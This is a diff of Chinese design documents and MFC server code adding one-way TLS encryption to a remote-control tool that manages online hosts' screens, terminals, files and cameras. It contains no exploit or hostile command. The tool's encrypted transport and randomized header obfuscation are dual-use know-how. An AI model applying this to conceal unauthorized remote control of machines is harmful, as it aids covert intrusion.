+1. **检测单元**：`isTLSClientHello` 对 `0x16 0x03 … 0x01`（TLS 1.2/1.3 ClientHello）/ `POST ` / `Shine` / 混淆 `HELL`（首两字节恰好 `0x16 0x03` 但 `b[5]==0x00`）/ 短于 6 字节 等判定的单测（已实现 `server/go/server/tls_test.go`）。
+2. **TLS 未配置**：不设 `YAMA_TLS_*` → 纯明文，行为与现状一致。
+3. **明文回归**：老客户端 + 新客户端（无证书）均走明文，登录/屏幕/终端/文件全链路不回归。
+4. **TLS 加密**：新客户端（有证书）→ 握手成功，登录/屏幕/终端/文件子连接全部在 TLS 内跑通；抓包确认 payload 不可读。
+5. **混合并发**：明文与 TLS 客户端同时在线，互不干扰。
+6. **fail-closed**：客户端有证书但服务端证书不匹配 / 中间人 → 客户端报错断开，**不**回退明文。
+7. **握手超时 / 限流**：恶意慢握手被 `ReadTimeout` + per-IP 限流压制。
+
+## 11. 分期与回滚
+
+- **阶段 1（Go 服务端，本期优先）**：`Config` + `tls.Config` + `acceptLoop` 检测回放；明文路径零改动。可独立上线、独立验证——用 `openssl s_client` 或 Go 测试客户端即可联调 TLS 链路，无需真实客户端配合。
+- **阶段 2（Windows 客户端）**：证书检测 + TLS 栈 + fail-closed。
+- **阶段 3（MFC 服务端 `server/2015Remote`，延后）**：与 Go 服务端同款的 TLS 检测 + 解包接入。设计稿见 `docs/TransportTLS_MFCServer_Design.md`。
+- **回滚**：服务端清空 `YAMA_TLS_CERT/KEY` 即回到纯明文；客户端删除注册表 `tls_cert` 值（或 `yama-ca.pem` 文件）即回明文。
+
+## 12. 待定问题
+
+1. ~~客户端 TLS 栈最终选型~~ → **已定 Schannel**（见 §6.2，2026-10-13 落地）。
+2. ~~信任锚文件固定名（`yama-ca.pem`）是否需可配置~~ → **已改为注册表 `tls_cert` 值优先、文件回退**（见 §6.1/§9.3，2026-10-14）。
+3. 是否同步把「TLS 内去掉 XOR」列为后续精简项（当前保留 XOR，换取零协议改动）。
+4. Linux / macOS / Android 客户端的 TLS 接入排期。

docs/TransportTLS_MFCServer_Design.md

@@ -0,0 +1,280 @@
+# MFC 服务端（server/2015Remote）单向 TLS 加密设计
+
+> 版本：v0.3 · 状态：**已实施并验证（屏幕 + 终端联调通过）** · 日期：2026-10-15
+> 上游依赖：`docs/TransportTLS_Design.md`（Go 服务端 + Windows 客户端，已实现并验证）。
+> 本期范围：**MFC 服务端 `server/2015Remote` 的传输层加密**（加载证书+私钥、握手、加解密、新旧客户端并存）。
+> 显式排除（本次不做，但须预埋接缝）：① MFC 的 MCP 式配置 UI；② 「向在线主机下发是否启用加密传输」的指令；③ 客户端运行时热切换。
+>
+> **已拍板的三个决策（2026-10-14，见 §12）**：
+> 1. 握手采用 **方案 A（专用短命阻塞线程）**；
+> 2. 身份文件采用 **PEM + CNG（`CertPath` + `KeyPath`）**，与 Go 服务端共用同一对密钥；私钥须为 **PKCS#8**；
+> 3. 配置 **新建 `[tls]` 节**（`Enabled` / `CertPath` / `KeyPath`）。
+>
+> 需求原文（已确认）：
+> 1. MFC 服务端有一个类似 MCP 的配置，可选启用传输层加密；启用时需指定一对密钥（证书 + 私钥）；
+> 2. 启用后，可向在线主机发送「是否启用加密传输」的指令 —— **UI 与新指令属后期内容**；
+> 3. **新旧客户端都须支持**：同一端口同时兼容明文（老客户端）与 TLS（新客户端）。
+
+## 1. 目标与范围
+
+### 目标
+
+- MFC 服务端在同一个 TCP 端口（6543）上，按连接自动区分「明文客户端」与「TLS 客户端」，路由到各自路径。
+- TLS 客户端解密后的字节流 == 同一套应用协议（flag 帧 + XOR + zstd），**协议解析/解压/解码零改动**。
+- 老客户端（无 TLS 概念）行为不变、零改动。
+- 服务端「启用 TLS」是**配置驱动**的：未配证书 → 纯明文；配了证书 → 新旧并存。
+
+### 非目标（Non-goals，本次不做）
+
+- 不做 **mTLS / 客户端证书**：单向 TLS，客户端身份仍由隧道内登录（V1 `PwdHmac` / V2 `ECDSA`）承担。
+- 不做「TLS 内去掉 XOR」的二次精简（与上游设计一致，保留 XOR 换取零协议改动）。
+- 不做 **UI**：不新增配置对话框、不加「启用加密」复选框、不加证书/私钥路径选择控件。
+- 不做 **「向在线主机下发启用/撤销加密」指令**：不下发信任锚、不发加密开关指令、不改客户端运行时状态。
+- 不做 KCP/UDP 传输（`IOCPKCPServer`）的 TLS 接入（本期只做 TCP 设备端口；KCP 另行评估）。
+
+## 2. 现状与复用（IOCP 数据流 + 四个接缝）
+
+MFC 服务端 TCP 接收链路：`OnAccept`（`IOCPServer.cpp:1144`）`accept` 后 `AllocateContext`（`:1289`）分配 `CONTEXT_OBJECT`，绑定 IOCP，`PostRecv`（`:1268`）投递首个 `WSARecv`（`:1278`，收进 `wsaInBuf`→`szBuffer[PACKET_LENGTH]`，`:1215`）。收满后 `HandleIO(IORead)`（`:746`）→ `OnClientReceiving`（`:892`）→ `ParseReceivedData`（`:796`）。
+
+原始 socket 字节在整套流程里各只有**一个入口**和**一个出口**，这是 TLS 能做成「过滤器」而非「改写」的根本原因：
+
+| 接缝 | 位置 | 作用 |
+|---|---|---|
+| ① 收包咽喉点 | `IOCPServer.cpp:805` `InCompressedBuffer.WriteBuffer(szBuffer, dwTrans)` | 原始字节进入协议解析的**唯一**位置（`szBuffer` 全文件仅此一处消费） |
+| ② 发包咽喉点 | `IOCPServer.cpp:1000` `WSASend(...wsaOutBuffer...)` | `OutCompressedBuffer` 上行的**唯一**位置 |
+| ③ 嗅探点 | `OnAccept`→`PostRecv`；`OnClientInitializing`（`:790`）现为空桩 `return TRUE` | 首次收到数据处，可挂 ClientHello 判定 |
+| ④ 状态字段 | `Server.h:332` `CONTEXT_OBJECT`（`szBuffer`/`wsaInBuf`/`InCompressedBuffer`/`InDeCompressedBuffer`/`OutCompressedBuffer`/`Parser` 等，`:359-398`） | 新增 TLS 会话指针 + 标志位 |
+
+**关键结论（本设计的基础）**：TLS 作为「透明传输包装」，加解密插在 ①② 两处，③ 做新旧分流，④ 加一个 per-connection 状态。`ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码，**全部不动**。这与上游 Go 服务端「`tls.Conn` 满足 `net.Conn`、parser 零改动」是同一策略（见上游 §2.3）。
+
+## 3. 总体方案
+
+### 3.1 按连接嗅探（与 Go 服务端同款判定）
+
+首次收到数据后，只看 `szBuffer` 前 6 字节：
+
+- 命中 `0x16 0x03 … 0x01`（TLS 握手记录 + TLS 版本号 + ClientHello）→ TLS 路径；
+- 其它 → 明文路径（老客户端透明，一行不改）。
+
+判据与 Go 端 `isTLSClientHello`（`0x16 0x03` 且 `b[5]==0x01`）**完全一致**，理由也一致：客户端会随机混淆魔数头（见上游 §2.1），明文前两字节可能恰为 `0x16 0x03`，但字节 5 对混淆头恒非 `0x01`，故三重判据误判率趋近于零。
+
+### 3.2 数据路径 = 条件过滤器
+
+```
+              OnAccept → PostRecv
+                    │
+        首次 IORead 完成（嗅探 szBuffer[0..5]）
+              ┌─────┴─────┐
+        明文(其它)      TLS(0x16 0x03 .. 0x01)
+              │              │
+      ParseReceivedData   TLS 握手（AcceptSecurityContext）
+      （现状，零改动）          │ 成功
+              │              ▼
+              │     握手后：IORead → DecryptMessage → 明文 → InCompressedBuffer.WriteBuffer
+              │     发送：OutCompressedBuffer → EncryptMessage → WSASend
+              └────────── 同一套 Parse/Encode/解压/压缩 ──────────┘
+```
+
+明文连接与握手后的 TLS 连接，下游共用同一套 `Parse`/`Encode`/解压/压缩。唯一差别是 ①② 两处各多一个 `if (tls) 加解密 else 直通` 分支。
+
+## 4. 配置设计（含未来 UI/指令的预埋）
+
+### 4.1 配置面（本次定键名，UI 后期加）
+
+MFC 服务端配置走 `THIS_CFG`（`config`/`iniFile`，`GetInt`/`GetStr(section,key,default)`，见 `2015Remote.cpp:481-543` 用法）。新增 `[tls]` 节，三键（**已拍板 PEM + CNG**，见 §5.6、§12）：
+
+```ini
+[tls]
+Enabled   = 0                 ; 是否启用传输层加密（0/1）
+CertPath  = ""                ; 服务端证书路径（PEM，-----BEGIN CERTIFICATE-----）
+KeyPath   = ""                ; 服务端私钥路径（PEM PKCS#8，-----BEGIN PRIVATE KEY-----）
+```
+
+三键都是**短字符串路径**，不落 PEM 正文，故不受 `iniFile::GetStr` 512 字节固定缓冲限制（该限制只在「存 PEM 正文」时才成问题，客户端已为此单独绕行，见上游 §6.1）。
+
+### 4.2 未来不返工的四条硬约束（本次预埋）
+
+1. **配置单一访问器**：TLS 开关与身份路径只经一个中心对象 `ServerTlsIdentity` 暴露：`Load(config&)` / `IsEnabled()` / `IsReady()` / `IsLoadError()` / `Cred()`。未来 UI 改配置、指令查询「我当前是否加密态」都走这同一个入口，禁止代码里散落 `GetInt("Enabled")`。
+2. **身份加载做成可重入，绝不用 `std::call_once`**：`ServerTlsIdentity::Load(config&)` 每次调用重新加载证书+私钥并重建凭据句柄。本次启动时调一次；未来「轮换证书 / 开关切换」可再调。这是对客户端 `TlsEnabled()` 用 `std::call_once` 一次读死、不可热切换（见上游 §6.1 与 `docs/tls-cert-push-revoke-deferred` 相关记忆）的**主动规避**。
+3. **「我是否 TLS 就绪」是全局只读态，与每条连接的 TLS 态分开**：`ServerTlsIdentity::IsEnabled()`（全局配置态）/ `IsReady()`（身份加载成功）与 per-connection 的「该连接是否走 TLS/握手是否完成」是两个概念。未来指令/UI 只碰前者。
+4. **按连接嗅探本身就是为混合上线准备的**：服务端开 TLS 后，没切换的旧主机照样明文连、已切换的走 TLS。未来「下发开启指令」只改客户端行为，服务端传输层不用动。
+
+## 5. 服务端改动详述
+
+### 5.1 `CONTEXT_OBJECT` 字段（`Server.h`，加 4 项）
+
+```cpp
+// 每连接传输层状态（单向 TLS，见 §5.2）；跨线程（握手线程写 TLS_Ready，工作线程读）用 atomic 保序
+enum ServerTlsState {
+    TLS_Unclassified = 0,   // 尚未收到足够字节判定（缓冲 tlsPreClassify）
+    TLS_Plain = 1,          // 明文客户端，直通现有解析路径
+    TLS_Handshaking = 2,    // TLS 客户端，握手线程阻塞 AcceptSecurityContext 中
+    TLS_Ready = 3,          // TLS 握手完成，收包解密 / 发包加密
+};
+ServerTlsSession*  tls = nullptr;                 // 懒分配；握手完成后承载加解密状态
+std::atomic<int>   tlsState{ TLS_Unclassified };  // ServerTlsState
+std::vector<BYTE>  tlsPreClassify;                // 分类前缓冲的首批字节（嗅探 ClientHello 头）
+bool               bSendPending = false;          // 发送在途抑制（见 §5.5）；受 SendLock 保护
+
+void FreeTls();   // delete tls; tls = NULL;（定义在 ServerTlsSession.cpp，避免本头拖入 Schannel）
+```
+
+生命周期见 §5.7：`InitMember` 时复位 `tlsState`/`tlsPreClassify`/`tls`，析构 / 回收时 `FreeTls()`。
+
+### 5.2 嗅探与预分类缓冲
+
+首次 `IORead` 完成时（`OnClientReceiving` 开头，`ParseReceivedData` 之前）判定：
+
+- `dwTrans >= 6`：看 `szBuffer[0..5]`，一次定死明文/TLS；
+- `dwTrans < 6`（TCP 把 ClientHello 头分片，极罕见但须正确）：把这 `dwTrans` 字节追加进 `tlsPreClassify`，`PostRecv` 继续收，直到攒够 6 字节再判定。判定后清空 `tlsPreClassify`。
+
+明文连接判定后，把 `tlsPreClassify`（如有）+ 本次 `szBuffer` 一并按现状喂给 `ParseReceivedData`，保证分片字节不丢。
+
+### 5.3 握手（已拍板方案 A）
+
+服务端握手需 `AcceptSecurityContext`（Schannel 入站），与客户端 `InitializeSecurityContext`（出站）**不通用**，需新写。数据阶段的 `DecryptMessage`/`EncryptMessage` 是同步缓冲变换，与异步收发包天然兼容，两个方案都复用。
+
+**方案 A：专用握手线程（阻塞式，已实施）**
+- 首次 `IORead` 判定为 TLS 后，此刻 `WSARecv` 已因完成回调结束、socket 上**无 pending overlapped 操作**，可安全转交一个短命线程做阻塞握手。
+- 线程内用**与客户端 `TlsChannel::Handshake` 同型的阻塞 Schannel 循环**跑 `AcceptSecurityContext`（`TlsChannel.cpp` 已证明该模式可靠），把已收到的 ClientHello 字节（`tlsPreClassify`，可能是分片）作为初始输入，后续 handshake 航程走阻塞 `recv`/`send`；握手前把 socket 切回阻塞态并设 15s 收发超时。
+- 成功 → `tlsState.store(TLS_Ready)`，`PostRecv` 投递首个 `IORead`，回到 IOCP 正常流程；失败 → 关连接（fail-closed，§8）。
+- 优点：复用客户端已验证的阻塞 Schannel 代码形态、状态最少；缺点：每个 TLS 连接多一个短命线程（仅在握手期间存活）。
+
+**方案 B：异步状态机（无额外线程，更贴合 IOCP）**
+- 握手由 `IORead`/`IOWrite` 完成回调推进：每次回调喂一段握手字节给 `AcceptSecurityContext`，按其返回（`SEC_I_CONTINUE_NEEDED` → 继续收/发；`SEC_E_OK` → 完成）驱动下一动作。
+- 优点：无额外线程、与现有 IOCP 事件循环同构；缺点：状态管理明显更重，需把「握手待收/待发/完成」编码进 per-connection 状态。
+
+**已拍板（2026-10-14）**：采用 **方案 A**（简单、复用客户端阻塞 Schannel 经验、风险低）。方案 B 留作后续压测发现短命线程开销不可接受时再演进；二者切换只影响 §5.3，不影响 ①②④ 的过滤器设计。
+
+### 5.4 收包解密（接缝 ①，`ParseReceivedData` 之上）
+
+`OnClientReceiving` 里，明文与 TLS 分叉：
+
+```cpp
+int st = ContextObject->tlsState.load(std::memory_order_acquire);
+if (st == TLS_Ready) {
+    // 1) 把 szBuffer[0..dwTrans] 喂给 DecryptMessage，得到明文 plain、长度 n
+    // 2) 处理 SECBUFFER_EXTRA：多余密文留存到 tls 对象内部缓冲（m_raw），下次续解（见上游 §6.5）
+    // 3) plain 为空（记录分片未齐）→ PostRecv 继续收；否则 ContextObject->InCompressedBuffer.WriteBuffer(plain.data(), n);
+} else {
+    ContextObject->InCompressedBuffer.WriteBuffer(szBuffer, dwTrans);  // 现状，零改动
+}
+```
+
+即 ① 从「一行直写」变成「条件分支」，明文侧原文不动。解密缓冲重组（`STREAM_HEADER/DATA/TRAILER/EXTRA` 四段布局）已在上游 §6.5 踩过坑、给出正确写法，服务端直接沿用（`ServerTlsSession::Decrypt` 内维护 `m_raw` 续解缓冲）。
+
+### 5.5 发包加密（接缝 ②，`OnClientPreSending` 之上）
+
+`OutCompressedBuffer` 是「可能残留上一轮未发完密文」的可变缓冲：异步 `WSASend` 在途时，新明文由 `WriteContextData` 追加在尾部。因此 `OnClientPreSending`（`IOCPServer.cpp`）**只加密本次新追加的尾部明文**，而非整个缓冲：
+
+1. 追加前记 `oldLen = OutCompressedBuffer.GetBufferLength()`；
+2. `WriteContextData` 追加新明文后，`plainLen = totalLen - oldLen`，只对 `GetBuffer(oldLen)` 起的 `plainLen` 字节调用 `tls->Encrypt` 得密文 `wire`；
+3. `TruncateBuffer(oldLen)` 回退尾部明文（**不用 `ClearBuffer`**：后者会 `DeAllocateBuffer`，可能 `VirtualFree` 正在被在途 `WSASend` 引用的底层内存），再 `WriteBuffer(wire)` 追加新密文。
+
+这样 `OutCompressedBuffer` 始终保持一串合法 TLS 记录。若把整个缓冲重新加密，会把旧密文二次加密，客户端解密后得到「旧 TLS 记录」→ `Unknown header 17 03 03`。
+
+**发送唤醒的并发抑制（`bSendPending`）**：`OnClientPreSending` 每次 `Send2Client` 若都 `PostQueuedCompletionStatus(IOWrite, 0)`，则每个 `OnClientPostSending(ctx, 0)` 都会对整个缓冲再发起一次 `WSASend`；背靠背小包（终端 `resize → COMMAND_NEXT → resize`）会触发多个并发 `WSASend` 读到同一段可变内存，产出重复/错位密文（客户端 `DecryptMessage` 失败，`WSAGetLastError()` 残留 `6001 = ERROR_DECRYPTION_FAILED`）。故新增 `bool bSendPending`（受 `SendLock` 保护）：仅在 `!bSendPending` 时投递 IOWrite 并置位；`OnClientPostSending` 在缓冲排空（最后一个 `WSASend` 完成）或发送失败时清零；`InitMember` 复用对象池时复位。在途 `WSASend` 的完成回调会看到排空后仍残留的新数据并继续发送，无需再投递。后续 `OnClientPostSending` 的部分发送循环照旧——它发送的已是密文字节，逐段 `WSASend` 天然成立。
+
+### 5.6 证书/私钥加载（Schannel 入站凭据，已拍板 PEM+CNG）
+
+`AcquireCredentialsHandle` 取 `SCHANNEL_CRED`（入站）时需一个**已绑定私钥的证书**。已拍板用 **PEM + CNG**（与 Go 端 `YAMA_TLS_CERT/KEY` 同构，服务端与 Go 共用同一对密钥）：
+
+- **证书**：`CryptStringToBinaryA(CRYPT_STRING_ANY)` 把 PEM 解为 DER → `CertCreateCertificateContext(X509_ASN_ENCODING)`。
+- **私钥（仅 PKCS#8）**：Schannel 入站凭据要求私钥是**「能按名重开」的持久化键**——`NCryptImportKey` 产出的是匿名临时键，绑定 `CERT_NCRYPT_KEY_HANDLE_PROP_ID` 后 Schannel 仍拿不到（`AcquireCredentialsHandle` 返回 `SEC_E_NO_CREDENTIALS` `0x8009030e`）。因此：
+  1. **导入临时键并导出裸 BLOB**：`NCryptOpenStorageProvider(MS_KEY_STORAGE_PROVIDER)` + `NCryptImportKey(NCRYPT_PKCS8_PRIVATE_KEY_BLOB)` 得临时键（`hProvider` 不能传 NULL——默认提供者解析实测返回 `NTE_INVALID_HANDLE` `0x80090026`，须显式打开 KSP）；再 `NCryptSetProperty(NCRYPT_EXPORT_POLICY_PROPERTY=ALLOW_PLAINTEXT_EXPORT|ALLOW_EXPORT)` 后 `NCryptExportKey(BCRYPT_RSAFULLPRIVATE_BLOB)` 得裸 RSA 私钥 BLOB。
+  2. **写入持久化键**：`NCryptCreatePersistedKey(BCRYPT_RSA_ALGORITHM, "YamaServerTlsKey", AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG)` → `NCryptSetProperty(BCRYPT_RSAFULLPRIVATE_BLOB)` → `NCryptFinalizeKey`。`NCryptSetProperty` 只认裸 BLOB、不认 PKCS#8（直接设 `NCRYPT_PKCS8_PRIVATE_KEY_BLOB` 实测 `NTE_NOT_SUPPORTED` `0x80090029`）。
+  3. **按名绑定**：`CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID, CRYPT_KEY_PROV_INFO{ pwszContainerName="YamaServerTlsKey", pwszProvName=MS_KEY_STORAGE_PROVIDER, dwProvType=0, dwKeySpec=AT_KEYEXCHANGE })`。Schannel 经 `CryptAcquireCertificatePrivateKey` 按名在 KSP 里重开该键。
+- **入站凭据**：`AcquireCredentialsHandleA("Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND, &SCHANNEL_CRED{ cCreds=1, paCred=&cert, grbitEnabledProtocols=SP_PROT_TLS1_2_SERVER, dwFlags=NO_DEFAULT_CREDS })`。
+
+关键点：**私钥必须是 PKCS#8**（`-----BEGIN PRIVATE KEY-----`）；若拿到的是 PKCS#1（`-----BEGIN RSA/EC PRIVATE KEY-----`），用
+`openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key` 转换。证书上下文生命周期交给进程级 `g_cert`，持久化键句柄交给 `g_persistedKey`；`FreeIdentity` 里按序 `FreeCredentialsHandle` → `CertFreeCertificateContext` → `NCryptDeleteKey`（`NCryptDeleteKey` 会同时释放句柄，勿再 `NCryptFreeObject`）。
+
+### 5.7 生命周期（context 池化复用）
+
+`CONTEXT_OBJECT` 经 `AllocateContext`（`:1311`）从 `m_ContextFreePoolList` **复用**、`InitMember`（`:1314`）复位。故 TLS 状态必须在 `InitMember` 里清空 `tlsPreClassify`、`FreeTls()`、复位 `tlsState`（`store(TLS_Unclassified)`）与 `bSendPending=false`（避免上次连接残留的在途标志抑制新连接发送），并在 `~CONTEXT_OBJECT`（`Server.h:346`）`FreeTls()`。否则「前一个 TLS 连接的状态漏给下一个明文连接」会直接导致解析错乱。这是唯一需要跨过 `InitMember`/析构两处做的生命周期接线。
+
+### 5.8 明确不动的部分
+
+- `ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码：**零改动**。
+- `HeaderParser` / `context`（`context.h`）协议层：**零改动**。
+- `OnAccept` / `PostRecv` / `AllocateContext` / `RemoveStaleContext` 主结构：**零改动**（仅新增 TLS 分支与字段复位）。
+- KCP / UDP 传输（`IOCPKCPServer`）：**零改动**（不在本期范围）。
+
+## 6. 新老客户端兼容矩阵
+
+| 客户端 | 服务端 TLS 状态 | 服务端行为 | 结果 |
+|---|---|---|---|
+| 老客户端（无 TLS 概念） | 未配置 | 明文路径 | 与现状完全一致 |
+| 老客户端 | 已配置 | 嗅探判为明文 → 明文路径 | 与现状完全一致（透明） |
+| 新客户端 · 无证书 | 未配置 / 已配置 | 明文路径 | 与老客户端一致（默认） |
+| 新客户端 · 有证书 | 已配置 | 嗅探判为 TLS → 握手 → 加密 | 全量加密 |
+| 新客户端 · 有证书 | 未配置 | 嗅探判为 TLS → 无证书可握手 → **关连接（fail-closed）** | 拒绝（见 §8） |
+
+## 7. 与未来「下发/撤销指令 + UI」的接缝
+
+本次不实现 UI 与指令，但通过 §4.2 四条约束预留干净接缝。二者未来的分工与依赖：
+
+- **UI**：在 MFC 配置对话框（类 MCP）里加「启用传输加密 + 指定一对密钥」，写入 `[tls]` 三键 → 调 `ServerTlsIdentity::Load(config&)` 重载 → `IsEnabled()` 即时生效。**只碰 §4.2 第 1/2 点，不碰传输层。**
+- **「向在线主机下发启用/撤销加密」指令**：服务端侧是一条新的命令通道（遍历在线连接广播），客户端侧是**运行时热切换**——收到指令后热加载/删除信任锚、断开重连走新通道。
+
+**必须先说破的跨端依赖**：这条指令真正的大头在**客户端**——客户端目前读 `tls_cert` 是进程启动读一次、`std::call_once`、**不可热切换**（见上游 §6.1 及 `docs/tls-cert-push-revoke-deferred` 记忆）。因此「下发/撤销」落地时，客户端要先把 `TlsEnabled()` 的一次读死改成「指令驱动的热重载」。**这与本次服务端传输层正交**——只要 §4.2 第 2/3 点把服务端状态做成可重载、可中心化查询，未来就能干净接上，无需回头改本次代码。
+
+## 8. 安全考量
+
+- **TLS 提供**：机密性、完整性、服务端身份（客户端校验）、抗重放（TLS record 序号 + nonce）。对 TLS 客户端而言，Measure 1（真加密 + 防重放）达成，与 Go 端一致。
+- **TLS 不提供**（单向）：客户端身份——仍由隧道内登录承担。
+- **服务端 fail-closed**：服务端收到 TLS ClientHello 但自身未配证书/身份加载失败 → **直接关连接**，禁止把 TLS 字节当协议去解析（否则新客户端握手失败重试 + 服务端狂报解析错）。与客户端 fail-closed 语义对称（见上游 §6.4）。
+- **握手 DoS**：TLS 握手有 CPU 开销，须受 per-IP 限流（现有）保护；方案 A 的短命握手线程还须加握手超时（`SSPI` 握手期间设 socket 收发超时，超时关连接）。
+- **部署顺序**（关键）：**MFC 服务端证书必须与客户端 CA 一起（或先于）上线**。否则「新客户端（已钉 CA）连旧 MFC 服务端（无证书）」→ 客户端 fail-closed 直接拒绝，表现为「升级客户端后连不上老服务端」。这是设计使然，部署/文档须写明。
+- **私钥安全**：服务器私钥只在握手时由 Schannel 内部签名使用（ECDHE）或解密预主密钥（RSA），不参与业务数据加解密；私钥文件应最小权限存放、不落日志。真正的长期秘密（CA 私钥）平时离线，仅在签发/轮换服务器证书时使用。
+
+## 9. 部署与运维
+
+生成服务端身份（与 Go 端 §9.1 的 `server.crt` + `server.key` 完全同一对密钥；私钥须 PKCS#8）：
+
+```bash
+# 若私钥是 PKCS#1（-----BEGIN RSA/EC PRIVATE KEY-----），先转 PKCS#8：
+openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key
+```
+
+MFC 服务端配置（直接指向与 Go 端相同的 PEM 文件）：
+
+```ini
+[tls]
+Enabled  = 1
+CertPath = C:\YAMA\server.crt
+KeyPath  = C:\YAMA\server.key
+```
+
+重启 MFC 服务端即生效（本次仅启动时读一次，热切换待未来 UI）。删除 `[tls]` 节或置 `Enabled=0` 即回纯明文。
+
+## 10. 测试计划
+
+1. **嗅探单元**：`0x16 0x03 .. 0x01`（TLS 1.2/1.3 ClientHello）/ 明文首包 / 混淆头（首两字节 `0x16 0x03` 但 `b[5]!=0x01`）/ 首包 <6 字节分片 的判定。
+2. **TLS 未配置**：`Enabled=0` 或无证书 → 纯明文，行为与现状一致（老 + 新无证书客户端回归）。
+3. **明文回归**：老客户端全链路（登录/屏幕/终端/文件）不回归。
+4. **TLS 加密**：新客户端（有证书）连 MFC 服务端 → 握手成功，登录/屏幕/终端/文件子连接全部在 TLS 内跑通；抓包确认 payload 不可读。
+5. **混合并发**：明文与 TLS 客户端同时在线，互不干扰（对应未来过渡期）。
+6. **fail-closed 双向**：① 服务端未配证书但收到 ClientHello → 关连接不误解析；② 客户端有证书但服务端证书不匹配 → 客户端断开不回退明文。
+7. **握手超时 / 限流**：恶意慢握手被超时 + per-IP 限流压制。
+8. **连接复用**：一条 TLS 连接断开后，context 回池再被明文连接复用，TLS 状态已复位、无泄漏（§5.7）。
+
+## 11. 分期与回滚
+
+- **本期（MFC 服务端传输加密，已实施）**：`ServerTlsIdentity`（PEM+CNG 加载）+ `CONTEXT_OBJECT` 字段（`tlsState` 枚举）+ 嗅探/预分类 + 握手（方案 A）+ ①收包解密 + ②发包加密 + 生命周期复位。可独立验证——用 `openssl s_client` 或复用 Go 端测试客户端联调，无需真实客户端配合。
+- **后续 A（UI）**：MCP 式配置对话框 + 重载 `ServerTlsIdentity`。
+- **后续 B（下发/撤销指令）**：服务端指令通道 + **客户端热切换**（客户端 `TlsEnabled()` 改指令驱动，见 §7）。
+- **回滚**：服务端 `[tls] Enabled=0` 即回纯明文，无需改客户端（客户端无证书时本就明文）。
+
+## 12. 已拍板决策与仍待定问题
+
+**已拍板（2026-10-14）**：
+
+1. **握手方案**：采用 **方案 A（专用阻塞线程）**，见 §5.3。
+2. **身份文件格式**：采用 **PEM + CNG（`CertPath` + `KeyPath`，私钥 PKCS#8）**，与 Go 服务端共用同一对密钥，见 §5.6。
+3. **配置节名**：新建 **`[tls]` 节**，键 `Enabled` / `CertPath` / `KeyPath`，见 §4.1。
+
+**仍待定**：
+
+1. **KCP/UDP 传输是否也要 TLS**：本期不含，另行评估。
+2. **MFC 的 MCP 式配置 UI**：显式排除，见 §7；落地时只碰 §4.2 第 1/2 点。

server/2015Remote/2015RemoteDlg.cpp

@@ -50,6 +50,8 @@
 #include "CFileSpeedDlg.h"
 #include "McpServer.h"
 #include "McpSettingsDlg.h"
+#include "TlsCertificateDlg.h"
+#include "ServerTlsSession.h"
 #include "common/md5.h"
 #include <algorithm>
 #include <set>
@@ -147,23 +149,24 @@ const int  g_Column_Count_Online  = ONLINELIST_MAX + 1; // 1 缩略图 + 既有
 
 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
     {"预览",            60  },
-    {"IP",				130	},
-    {"端口",			60	},
+    {"IP",				120	},
+    {"端口",			55	},
     {"地理位置",		140	},
     {"计算机名/备注",	140	},
-    {"操作系统",		120	},
-    {"CPU",				80	},
-    {"摄像头",			60	},
-    {"RTT",				60	},
+    {"操作系统",		135	},
+    {"CPU",				75},
+    {"摄像头",			55	},
+    {"RTT",				55	},
     {"版本",			90	},
     {"安装时间",        130 },
-    {"活动窗口",		130 },
+    {"活动窗口",		145 },
     {"类型",			50 },
     {"",                0   },
     {"",                0   },
     {"",                0   },
     {"",                0   },
     {"权限",			60	},
+    {"TLS",             50  },
 };
 
 // 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。
@@ -239,6 +242,69 @@ UINT GetClientEncoding(context* ctx) {
     return 936;
 }
 
+// 客户端「进程名/路径」编码：Windows 用 A 接口生成，恒为客户端 ANSI（简中=GBK/936），
+// 不随 CLIENT_CAP_UTF8 转 UTF-8；LNX/MAC 的 /proc 天然 UTF-8。
+// 不能用 GetClientEncoding——它按能力位返回 CP_UTF8，会误解 Windows 客户端的 GBK 进程名。
+// 与 McpServer::BuildListProcesses 的判定保持一致。
+UINT GetProcessListEncoding(context* ctx) {
+    if (!ctx) return 936;
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    if (clientType == "LNX" || clientType == "MAC") return CP_UTF8;
+    // 子连接情形：自身 RES_CLIENT_TYPE 为空 -> 找主连接取 clientType
+    if (g_2015RemoteDlg) {
+        context* mainCtx = g_2015RemoteDlg->FindHostByClientID(ctx->GetClientID());
+        if (!mainCtx) {
+            mainCtx = g_2015RemoteDlg->FindHostByIP(ctx->GetPeerName());
+        }
+        if (mainCtx) {
+            CString mainType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
+            if (mainType == "LNX" || mainType == "MAC") return CP_UTF8;
+        }
+    }
+    return 936;
+}
+
+// 判断字符串是否为合法 UTF-8（MB_ERR_INVALID_CHARS 严格校验，避免把 GBK 误判成 UTF-8）。
+static bool IsValidUtf8Str(const char* s)
+{
+    if (!s || !s[0]) return false;
+    return MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, s, -1, NULL, 0) > 0;
+}
+
+// 把按 cp 编码的字符串转成 UTF-8（cp == CP_UTF8 时原样返回）。
+static CString LocationToUtf8(const CString& str, UINT cp)
+{
+    if (str.IsEmpty() || cp == CP_UTF8) return str;
+    int wlen = MultiByteToWideChar(cp, 0, str, -1, NULL, 0);
+    if (wlen <= 1) return str;
+    std::wstring w(wlen - 1, L'\0');
+    MultiByteToWideChar(cp, 0, str, -1, &w[0], wlen);
+    int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
+    if (u8len <= 1) return str;
+    std::string u8(u8len - 1, '\0');
+    WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &u8[0], u8len, NULL, NULL);
+    return CString(u8.c_str());
+}
+
+// 兜底规整地理位置为 UTF-8：合法 UTF-8（LNX/MAC 自报、迁移后的缓存）原样保留，
+// 否则视为 GBK/936（Windows 自报、本地库 QQWry/Ip2Region、老缓存）转 UTF-8。
